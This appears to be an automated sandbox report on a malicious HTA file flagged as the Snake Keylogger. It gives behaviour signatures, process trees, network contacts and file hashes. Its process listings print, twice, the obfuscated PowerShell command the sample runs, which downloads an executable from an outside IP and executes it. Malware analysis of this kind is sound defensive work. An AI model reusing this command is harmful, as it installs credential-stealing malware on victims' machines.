Analysis Overview
SHA256
4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368
Threat Level: Known bad
The file 4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368.hta was found to be: Known bad.
Malicious Activity Summary
Snake Keylogger
Snake Keylogger payload
Blocklisted process makes network request
Evasion via Device Credential Deployment
Downloads MZ/PE file
Checks computer location settings
Loads dropped DLL
Executes dropped EXE
Accesses Microsoft Outlook profiles
Looks up external IP address via web service
AutoIT Executable
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Modifies Internet Explorer settings
Suspicious use of AdjustPrivilegeToken
outlook_office_path
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
outlook_win_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-16 01:41
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-16 01:41
Reported
2024-10-16 01:44
Platform
win7-20240708-en
Max time kernel
16s
Max time network
112s
Command Line
Signatures
Snake Keylogger
Snake Keylogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\taskhostw.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
AutoIT Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1392 set thread context of 2100 | N/A | C:\Users\Admin\AppData\Roaming\taskhostw.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\taskhostw.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\taskhostw.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368.hta"
C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
"C:\Windows\sysTeM32\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE" "pOwerSHelL -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt ; IeX($(IEx('[sySTeM.tExt.EncOdInG]'+[cHaR]0x3a+[CHAR]58+'UTf8.geTstrINg([SySteM.coNVeRt]'+[CHar]0X3A+[Char]58+'frOmbase64striNG('+[cHar]34+'JHhzZ1dMTGJ3cHcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYmVSREVGSU5JdElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxR0Fnd2p0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdnVEaE5SWGRkLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmtGUlVRQWIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiS2NkY3VuVHoiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNwQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiTE1URWdJVnBORyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhzZ1dMTGJ3cHc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy4yNS8yNzAvdGFza2hvc3R3LmV4ZSIsIiRFTlY6QVBQREFUQVx0YXNraG9zdHcuZXhlIiwwLDApO1N0YVJ0LVNMRUVwKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHRhc2tob3N0dy5leGUi'+[CHAR]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\_99j9dfn.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA6BC.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA6BB.tmp"
C:\Users\Admin\AppData\Roaming\taskhostw.exe
"C:\Users\Admin\AppData\Roaming\taskhostw.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Users\Admin\AppData\Roaming\taskhostw.exe"
Network
| Country | Destination | Domain | Proto |
| US | 172.245.123.25:80 | 172.245.123.25 | tcp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| BR | 132.226.247.73:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 104.21.67.152:443 | reallyfreegeoip.org | tcp |
Files
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 6093d9d65098cad1a18f64e698d15d64 |
| SHA1 | 785b2728821e483ce886306c5c09cef431dba41e |
| SHA256 | fcb9dac2d9d9ba8b84495fd817780b22a80b1ee109d44e7d2c2c08a334b933b2 |
| SHA512 | d2ffc707af256c5de051434baa8c733567b72956e682091b48486d9e93df60ea8f812e0b0dcecea9a1c4d02c1d457ee2582764e25adb6ec64e73356e96b1d486 |
\??\c:\Users\Admin\AppData\Local\Temp\_99j9dfn.cmdline
| MD5 | a1afc9ecf40afd1c5576603a221009c1 |
| SHA1 | 74d4eea41de07b2aaf098f37ebe86f470189ced3 |
| SHA256 | 1cf344dbc2e6dd2b6c4bd43a47c68ad30681e935e9d579e3bd7e491de5faa865 |
| SHA512 | 8b11fc8c9000f22b3379d73c6cda66661d5b2c0725d133346984121f38d442e85218f06d502c0bf0bc9505e8d6a391289e539c94f48a9feeec922ea016775efb |
\??\c:\Users\Admin\AppData\Local\Temp\_99j9dfn.0.cs
| MD5 | ecc2c10cb4c5954e2d5156bce54e41f4 |
| SHA1 | 2d7cde31f9942c1dc80c493c03d675962991bf31 |
| SHA256 | 21d7b2d886e9a8c3cf70d60b612151ecf35df156524dda00bc5f0c14df45b3ac |
| SHA512 | bfce3f87e8f97f1a8f149c7f3e172e312019a4189fd1e33bdb7d2c617c6bbf41f548e91c12f71b5e8215397138ea643430f0ee87d72b33760c0dd2e3b8ae4d96 |
\??\c:\Users\Admin\AppData\Local\Temp\CSCA6BB.tmp
| MD5 | cd4b415852ddd09d6e7d143d0a00f56d |
| SHA1 | 6fad24bc27d4e5c8f590f34c1910507b5b3f8f9a |
| SHA256 | ad16e1d3a0b09073b10837e6a923965dcf72a374cc30bbfd8cc651e3db41d896 |
| SHA512 | 5260fa480bc4c81d7165bf27ea7464952192bd063b56301646a22411da452622768b4aca6c3eaea449a2ae7e627c3ea5c19c4320e8c5eed9bbc545b5d11540e3 |
C:\Users\Admin\AppData\Local\Temp\_99j9dfn.dll
| MD5 | 2ea51eefa730542821fd43a352c193b4 |
| SHA1 | fea0eb88d22d35b16e0ee79e28e5a2134cec1650 |
| SHA256 | 8ca6b70d0e7706fa03a4808cf3643eb9870bbc7d0a8e09e371e1e08e126420d8 |
| SHA512 | 670384971c88b162efb250c5aef1aa81a3ad509344051c4bf9255d2e67b3c296ef9908431733127a30c6f1a7e1276cd0f7c169fa6297aa4f2e894e6502a5bf2f |
C:\Users\Admin\AppData\Local\Temp\RESA6BC.tmp
| MD5 | ed2baaffc4fc083f868c04c033c7a66d |
| SHA1 | 1a25db2a8ea9acad652a0762a98187dd59c06569 |
| SHA256 | 158739f824ae8962a3fdcefd28378a9609b7fad46690b8b1921d7fb2916cff0a |
| SHA512 | e46c3fe4328f3b42845b8ac86ee21bd28cc38a2e261c390f81ea83b7a45de33c01b2c0376ea4602cbf451f68e8cda129e81ed4da280a6a4d6f57d61d232b387b |
C:\Users\Admin\AppData\Local\Temp\_99j9dfn.pdb
| MD5 | b7ba7fdf0ab8286e9039693f6d582d80 |
| SHA1 | 1a7b717fe061c656dd7b33501add0a33edab9ef9 |
| SHA256 | a4a958148add2d50d8c545641d0abe4823e6824092c82619f01a3db1a7c4c3b5 |
| SHA512 | 7ca66f30eec0caeb5e99c102509ea1b38957be36b66c3657e1f4d66deff4c3a414c334f2dc811b93b5f6b3bf37db803ebd537e26ecfe4aef50be78f821e80d5f |
C:\Users\Admin\AppData\Roaming\taskhostw.exe
| MD5 | 3e2f27edd3deacd8f08f6ed1133b2040 |
| SHA1 | 060e3218949c5a006bb8607e8228e6539b737bfb |
| SHA256 | 163a25e2b68ed09eb4cf82f28c87568969091764bdfb4140b4675a00e2d2ed86 |
| SHA512 | da437c39e3337f6750c3b9353c71999c16415ec1fecdaa4bba676bb12207cb51a7258b91b175d1893ae4e9111fa9ccf027151ad7527d9d78df59f86436cfdb42 |
memory/2100-36-0x0000000000400000-0x0000000000426000-memory.dmp
memory/2100-35-0x0000000000400000-0x0000000000426000-memory.dmp
memory/2100-34-0x0000000000400000-0x0000000000426000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-16 01:41
Reported
2024-10-16 01:44
Platform
win10v2004-20241007-en
Max time kernel
148s
Max time network
149s
Command Line
Signatures
Snake Keylogger
Snake Keylogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\taskhostw.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
AutoIT Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2860 set thread context of 4696 | N/A | C:\Users\Admin\AppData\Roaming\taskhostw.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\taskhostw.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\taskhostw.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
"C:\Windows\sysTeM32\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE" "pOwerSHelL -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt ; IeX($(IEx('[sySTeM.tExt.EncOdInG]'+[cHaR]0x3a+[CHAR]58+'UTf8.geTstrINg([SySteM.coNVeRt]'+[CHar]0X3A+[Char]58+'frOmbase64striNG('+[cHar]34+'JHhzZ1dMTGJ3cHcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYmVSREVGSU5JdElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxR0Fnd2p0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdnVEaE5SWGRkLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmtGUlVRQWIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiS2NkY3VuVHoiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNwQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiTE1URWdJVnBORyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhzZ1dMTGJ3cHc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy4yNS8yNzAvdGFza2hvc3R3LmV4ZSIsIiRFTlY6QVBQREFUQVx0YXNraG9zdHcuZXhlIiwwLDApO1N0YVJ0LVNMRUVwKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHRhc2tob3N0dy5leGUi'+[CHAR]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\upyaxiqs\upyaxiqs.cmdline"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB054.tmp" "c:\Users\Admin\AppData\Local\Temp\upyaxiqs\CSC72648FF7DFE243839548E0CE4642788.TMP"
C:\Users\Admin\AppData\Roaming\taskhostw.exe
"C:\Users\Admin\AppData\Roaming\taskhostw.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Users\Admin\AppData\Roaming\taskhostw.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.28.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 172.245.123.25:80 | 172.245.123.25 | tcp |
| US | 8.8.8.8:53 | 25.123.245.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| BR | 132.226.247.73:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | 73.247.226.132.in-addr.arpa | udp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
Files
memory/772-0-0x000000007158E000-0x000000007158F000-memory.dmp
memory/772-1-0x0000000002A40000-0x0000000002A76000-memory.dmp
memory/772-3-0x00000000055D0000-0x0000000005BF8000-memory.dmp
memory/772-2-0x0000000071580000-0x0000000071D30000-memory.dmp
memory/772-4-0x00000000053B0000-0x00000000053D2000-memory.dmp
memory/772-5-0x0000000005550000-0x00000000055B6000-memory.dmp
memory/772-6-0x0000000005C00000-0x0000000005C66000-memory.dmp
memory/772-7-0x0000000005C70000-0x0000000005FC4000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4yzrtfsr.2lj.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/772-17-0x0000000006280000-0x000000000629E000-memory.dmp
memory/772-18-0x00000000062B0000-0x00000000062FC000-memory.dmp
memory/2124-28-0x00000000063F0000-0x0000000006422000-memory.dmp
memory/2124-29-0x000000006DE40000-0x000000006DE8C000-memory.dmp
memory/2124-39-0x00000000063D0000-0x00000000063EE000-memory.dmp
memory/2124-40-0x0000000007000000-0x00000000070A3000-memory.dmp
memory/2124-41-0x0000000007790000-0x0000000007E0A000-memory.dmp
memory/2124-42-0x0000000007140000-0x000000000715A000-memory.dmp
memory/2124-43-0x00000000071A0000-0x00000000071AA000-memory.dmp
memory/2124-44-0x00000000073D0000-0x0000000007466000-memory.dmp
memory/2124-45-0x0000000007340000-0x0000000007351000-memory.dmp
memory/2124-46-0x0000000007370000-0x000000000737E000-memory.dmp
memory/2124-47-0x0000000007380000-0x0000000007394000-memory.dmp
memory/2124-48-0x0000000007490000-0x00000000074AA000-memory.dmp
memory/2124-49-0x00000000073C0000-0x00000000073C8000-memory.dmp
\??\c:\Users\Admin\AppData\Local\Temp\upyaxiqs\upyaxiqs.cmdline
| MD5 | 784f53ab1897e19293b9212b5afaadf9 |
| SHA1 | bd23c6b7e37d46c2418a95f33827a896411a1302 |
| SHA256 | 57fc1823a9536f3de80c02a48300821052c9524c33c3f6355b303bc3b22b9ea2 |
| SHA512 | 70ca938cd5c13f5e107853d3f424936d37741548e98d97fb4d92119fa4407ab03e9fbe97717e4a871f87a574cb715e92406ad93c6eeab39ae96c9504cd561e07 |
\??\c:\Users\Admin\AppData\Local\Temp\upyaxiqs\upyaxiqs.0.cs
| MD5 | ecc2c10cb4c5954e2d5156bce54e41f4 |
| SHA1 | 2d7cde31f9942c1dc80c493c03d675962991bf31 |
